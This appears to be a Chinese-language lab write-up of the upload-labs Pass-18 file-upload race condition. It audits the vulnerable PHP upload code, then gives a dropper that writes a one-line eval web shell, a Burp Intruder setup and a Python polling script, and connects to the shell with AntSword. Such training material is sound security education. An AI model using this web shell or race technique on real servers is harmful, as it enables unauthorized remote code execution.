文件上传 upload-labs Pass-18 条件竞争
Pass-18 条件竞争
审计源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
可以看到首先使用move_uploaded_file
将文件进行上传,然后进行后缀名判断,如果不满足.jpg|.png|.gif
文件类型,直接删除
这里的漏洞就是我们的文件首先可以上传到服务区,服务器经过if语句
判断是否删除该文件
那么我们在服务器没有删除文件的时候,进行访问上传的php
文件,上传php
访问执行后会生成一个一句话木马文件
上传文件取名为create-shell.php
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
首先我们使用burpsuite
抓包,爆破模式一直上传文件
首先clear
清楚所有变量
在末尾加入1
,然后点击设置为变量
然后点击payload
然后点击Options
,设置完点击Start attack
为开始攻击,这里先展示不开始攻击
写一个访问creat-shell.php
文件,并判断shell.php
是否已经生成的python
脚本
转载于:【upload-labs】条件竞争pass-17~pass-18
import requests
url1 = "http://ip/upload-labs/upload/create-shell.php" # 定义访问 creat-shell.php
url2 = "http://ip/upload-labs/upload/shell.php" # 定义访问 shell.php
while True: # 定义死循环
html1 = requests.get(url1) # 请求 create-shell.php
html2 = requests.get(url2) # 请求 shell.php
if html2.status_code == 200: # 如果 shell.php 返回的http状态码为200
print('Good job,Win Win Win') # 打印 Good job.....
break
这里由于物理机python环境出了点问题,使用kali
进行运行
在burpsuite
点击start attack
查看脚本运行状态
返回了You Win,Good Job
,代表我们文件上传成功
使用蚁剑
连接测试,密码为cmd
http://172.16.1.101/upload-labs/upload/shell.php
点击测试连接成功
成功执行命令